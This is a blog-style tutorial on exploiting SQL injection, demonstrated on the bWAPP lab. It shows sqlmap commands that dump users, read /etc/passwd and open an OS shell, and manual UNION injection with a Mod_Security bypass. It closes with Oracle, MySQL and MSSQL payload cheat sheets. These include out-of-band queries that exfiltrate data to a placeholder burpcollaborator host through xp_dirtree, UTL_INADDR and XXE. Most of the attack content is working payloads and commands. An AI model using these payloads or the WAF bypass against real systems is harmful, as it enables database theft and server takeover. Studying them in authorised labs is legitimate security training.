Mastering SQL Injection Like a PRO (OOB Techniques)

Mastering SQL Injection Like a PRO (OOB Techniques)

Learn Exploiting SQL Injection with both Automated and Manual Approach.

I hope everyone are aware about SQL Injection vulnerability. If not let me give you an quick overview of it.

SQL Injection is an attack against the original purpose a developer has chosen for a specific piece of SQL code. The idea is to alter the original SQL query structure by leveraging the syntax, DBMS and OS functionalities in order to perform malicious operations.

Lets go to the exploitation part:

minions-strong.gif

For the demo purpose I will be use bWAPP application for SQL lab. Don't worry we will deep dive into it so your every concept will be cleared.

  • If you want to practice on labs you can install it easily via docker. You can follow this article for the same.

Okay.. So All set, I will show you first automated method which is easier and faster way to do the exploit. We will firstly exploit the dummy website with the help of SQLmap tool which is an open source penetration testing tool that automates the process of detecting and exploiting SQL injection flaws and taking over of database servers.

  • Navigate to the your bwapp and choose any SQL lab as you can see in below image.

1_sql_bwap.png

  • Enter any input and intercept the request in burp by clicking on Search. Observe that here Cookies are present so Its an "Authenticated SQL Injection" . It means we will be needed cookies as well to perform the SQL Injection.

2.png

Okay, Good so far now we I will show you some best usage of SQLMap.

1. Database Fingerprinting

To find out more information about the remote system database use the option "-b". It will try to find the exact banner of the database server.

sqlmap -u "http://localhost:8080/sqli_1.php?title=dr34m&action=search" --cookie="PHPSESSID=8m6s82l1nobsfogrmgvj76u745; security=low; security_level=0" -b
.
.
.
...
[23:30:45] [INFO] the back-end DBMS is MySQL
[23:30:45] [INFO] fetching banner
web server operating system: Linux Ubuntu
web application technology: Apache 2.4.7, PHP 5.5.9
back-end DBMS operating system: Linux Ubuntu
back-end DBMS: MySQL >= 5.5
banner: '5.5.47-0ubuntu0.14.04.1'
...

Here we can observe that we found the MySQL version. Here our next approach will be searching the suitable exploit for this particular DBMS version.

2. Fetching the users and there privileges

We can use the flags like --users , --privileges , --passwords and --roles as per our requirements. This will help you to know that particular user has this much privileges.

sqlmap -u "http://localhost:8080/sqli_1.php?title=dr34m&action=search" --cookie="PHPSESSID=8m6s82l1nobsfogrmgvj76u745; security=low; security_level=0" --users --privileges
.
.
.
...
database management system users [5]:
[*] 'admin'@'%'
[*] 'root'@'127.0.0.1'
[*] 'root'@'::1'
[*] 'root'@'b34686976dd6'
[*] 'root'@'localhost'

[23:49:04] [INFO] fetching database users privileges
database management system users privileges:
[*] 'admin'@'%' (administrator) [28]:
    privilege: ALTER
    privilege: ALTER ROUTINE
    privilege: CREATE
    privilege: CREATE ROUTINE
    privilege: CREATE TABLESPACE
    privilege: CREATE TEMPORARY TABLES
    privilege: CREATE USER
    privilege: CREATE VIEW
    privilege: DELETE
    privilege: DROP
    privilege: EVENT
    privilege: EXECUTE
    privilege: FILE
    privilege: INDEX
    privilege: INSERT
    privilege: LOCK TABLES
    privilege: PROCESS
    privilege: REFERENCES
    privilege: RELOAD
    privilege: REPLICATION CLIENT
    privilege: REPLICATION SLAVE
    privilege: SELECT
    privilege: SHOW DATABASES
    privilege: SHOW VIEW
    privilege: SHUTDOWN
    privilege: SUPER
    privilege: TRIGGER
    privilege: UPDATE
...

Some other useful flags are here you can use them accordingly.

--current-user : This will give you the current user information. Similar like we extract during manual approach version() #for MySQL database

--is-dba: This will check that user has DBA rights or not. We can run the OS/system level commands if the current database user has DBA rights.

--current-db: As defined this will return the current database name.

--threads=10: This option allows the user to define the number of concurrent requests to be sent by the SQLMap tool.

–identify-waf: This command will return the waf name if there is any used by the application.

-r: If the vulnerable endpoint is in POST Body request then you can save it to a file and parse the file with the help of this command.

--proxy: This is a very helpful command, as it will intercept the whole traffic send by the SQLmap to the target website. With the help of this you can see the output of each SQL command send by SQLmap. This can be used like this --proxy=http://127.0.0.1:8080

3. SQLi to RCE (Maximum Impact)

Here comes the interesting part. SQL is not just about database dump. It can leads to Remote code execution on the Server. Let's see how it can be possible. For our preferences this time I am copy this whole request to a file you can do by right click then copy to file option.

3.png

So this is the content of our sql.txt file:

GET /sqli_1.php?title=dr34m&action=search HTTP/1.1
Host: localhost:8080
User-Agent: Mozilla/5.0 (Windows NT 10.0; rv:78.0) Gecko/20100101 Firefox/78.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
DNT: 1
Connection: close
Referer: http://localhost:8080/sqli_1.php?title=dr34m&action=search
Cookie: security_level=0; PHPSESSID=u91qsq023sj1lk89l4or6cglj6; security=low
Upgrade-Insecure-Requests: 1
Sec-GPC: 1

Let's try to read the files on the remote server for that we can use --file-read command as follows:

sqlmap -r sql.txt --file-read=/etc/passwd --threads=5
.
.
.
files saved to [1]:
[*] /home/sid/.local/share/sqlmap/output/localhost/files/_etc_passwd (same file)

[10:10:00] [INFO] fetched data logged to text files under '/home/sid/.local/share/sqlmap/output/localhost'

By navigating the file output given by sqlmap we can see the /etc/passwd file:

4.png

Similarly we can use --os-shell command for getting shell from the server. Also we can run the arbitary sql command by using --sql-query=

I guess its pretty much about the SQLmap(Automated Approach), I assume you knows the basic sql commads for the database dumping if not then you can visit this article for the same:

SQL Injection Manual Approach!

Here in this section we will look how we can approach any target manually by running malicious sql commands. I am sure you guys knows the basic sql commands which we use if not let me give you a quick overview of that.

https://target.com/something.php?id=1  # our target website
https://target.com/something.php?id=1'  # content length changed 
https://target.com/something.php?id=1'--+- # query fixed and got the usual response
https://target.com/something.php?id=1'+order+by+10--+- # no change
https://target.com/something.php?id=1'+order+by+12--+- # no change
https://target.com/something.php?id=1'+order+by+13--+- # content length changed

From the above scenario we got to know that the target website has 12 vulnerable columns. So let's dig into it.

While generating the vulnerable columns we got this Mod_Security error.

5.png

Mod_Security is an open source firewall which can be easily bypassed.

Let's understand what's happening in behind. Mod_Security firewall detect any malicious word which used to retrieve data. Suppose It blacklisted the union word so we need to bypass this union keyword in order to do Sql Injection. For bypass we can comment out the union word by like this

/*!50000union*/

We can use any random five digits code.

Let's try with commenting the union keyword.

6.png

Woah!! We bypassed the WAF. Now let's find out the vulnerable Colum from where we can retrieve the data. In order to do that we need to break the first query for that you need to give an impossible value in the parameter.

There are 20 pages in the target website. What if you try to retrieve the 21st page? It will gave you an error right? It means you break that query. As it is here we can do two things as follows:

  • Negative value (Using minus in page id)
  • None existing page number (like id=99999999999999999)

By adding negative value of the id we got the vulnerable columns in the database.

7.png

Now Let's try to retrieve the data Hence there is a MySQL database running on the server so we can use version() or @@version for retrieve the database version.

8.png

Great! So far now let me show you some advance commands you should use while doing SQL injection. How to know which OS was used by the backend. For that you can use @@VERSION_COMPILE_OS command.

10.png

Here we got the Mod_Security error so we bypassed it by commenting.

So backed server is using Linux operating system so there must will be a /tmp directory. We can use this @@SLAVE_LOAD_TMPDIR command for retrieve the temp file path from the server.

9.png

If you don't know what /tmp directory is then let me give you an quick overview of this. The /tmp directory in Linux based systems contains necessary files that are temporarily required by the system as well as other software and applications running on the machine. For more Visit here

Now try to read arbitrary files such as /etc/passwd by using load_file('/etc/passwd')

11.png

Let me give you some more awesome query which can retrieve some interesting data.

@@PORT <!-- retrieve port which is running mysql service -->
@@HAVE_OPENSSL <!-- retrieve ssl information -->
@@HOSTNAME <!-- retrieving hostname -->
@@LOG_ERROR <!-- to retrieve error logs location -->

Woah...! So I guess this is pretty much for understanding. Okay I want to add one more thing here this queries depends on the backend database. It can vary according to the database let me help you with queries which is specific database related.

For Oracle Database:

'foo'||'bar' <!-- String concatenation -->
SELECT banner FROM v$version <!-- version extraction -->
SELECT version FROM v$instance <!-- version extraction -->
--comment <!-- for commenting out the query -->
SELECT * FROM all_tables <!-- database extraction -->
SELECT * FROM all_tab_columns WHERE table_name = 'TABLE-NAME-HERE' <!-- database extraction -->
dbms_pipe.receive_message(('a'),10) <!-- Time delays -->
SELECT CASE WHEN (YOUR-CONDITION-HERE) THEN 'a'||dbms_pipe.receive_message(('a'),10) ELSE NULL END FROM dual <!-- Conditional Time delays for data exfiltration -->
SELECT UTL_INADDR.get_host_address('YOUR-SUBDOMAIN-HERE.burpcollaborator.net') <!--DNS lookup -->
SELECT extractvalue(xmltype('<?xml version="1.0" encoding="UTF-8"?><!DOCTYPE root [ <!ENTITY % remote SYSTEM "http://'||(SELECT YOUR-QUERY-HERE)||'.YOUR-SUBDOMAIN-HERE.burpcollaborator.net/"> %remote;]>'),'/l') FROM dual <!-- DNS lookup with data exfiltration -->

For MySQL Database:

CONCAT('foo','bar') <!-- String concatenation -->
SELECT @@version <!-- version extraction -->
#comment <!-- for commenting out the query -->
--+- <!-- for commenting out the query -->
SELECT * FROM information_schema.tables <!-- database extraction -->
SELECT * FROM information_schema.columns WHERE table_name = 'TABLE-NAME-HERE' <!-- database extraction -->
SELECT sleep(50) <!-- Time delays -->
SELECT IF(YOUR-CONDITION-HERE,sleep(10),'a') <!-- Conditional Time delays for data exfiltration -->
LOAD_FILE('\\\\YOUR-SUBDOMAIN-HERE.burpcollaborator.net\\a')
SELECT ... INTO OUTFILE '\\\\YOUR-SUBDOMAIN-HERE.burpcollaborator.net\a' <!--DNS lookup(Windows only) -->
SELECT YOUR-QUERY-HERE INTO OUTFILE '\\\\YOUR-SUBDOMAIN-HERE.burpcollaborator.net\a' <!-- DNS lookup with data exfiltration -->

For Microsoft Database:

'foo'+'bar' <!-- String concatenation -->
SELECT @@version <!-- version extraction -->
--comment <!-- for commenting out the query -->
/*comment*/ <!-- for commenting out the query -->
SELECT * FROM information_schema.tables <!-- database extraction -->
SELECT * FROM information_schema.columns WHERE table_name = 'TABLE-NAME-HERE' <!-- database extraction -->
WAITFOR DELAY '0:0:10' <!-- Time delays -->
IF (YOUR-CONDITION-HERE) WAITFOR DELAY '0:0:10' <!-- Conditional Time delays for data exfiltration -->
exec master..xp_dirtree '//YOUR-SUBDOMAIN-HERE.burpcollaborator.net/a' <!--DNS lookup-->
declare @p varchar(1024);set @p=(SELECT YOUR-QUERY-HERE);exec('master..xp_dirtree "//'+@p+'.YOUR-SUBDOMAIN-HERE.burpcollaborator.net/a"') <!-- DNS lookup with data exfiltration -->

📚 More Learning Resources:


That’s all for today, Thanks for stopping by 😃!!

-HEiDu5el.gif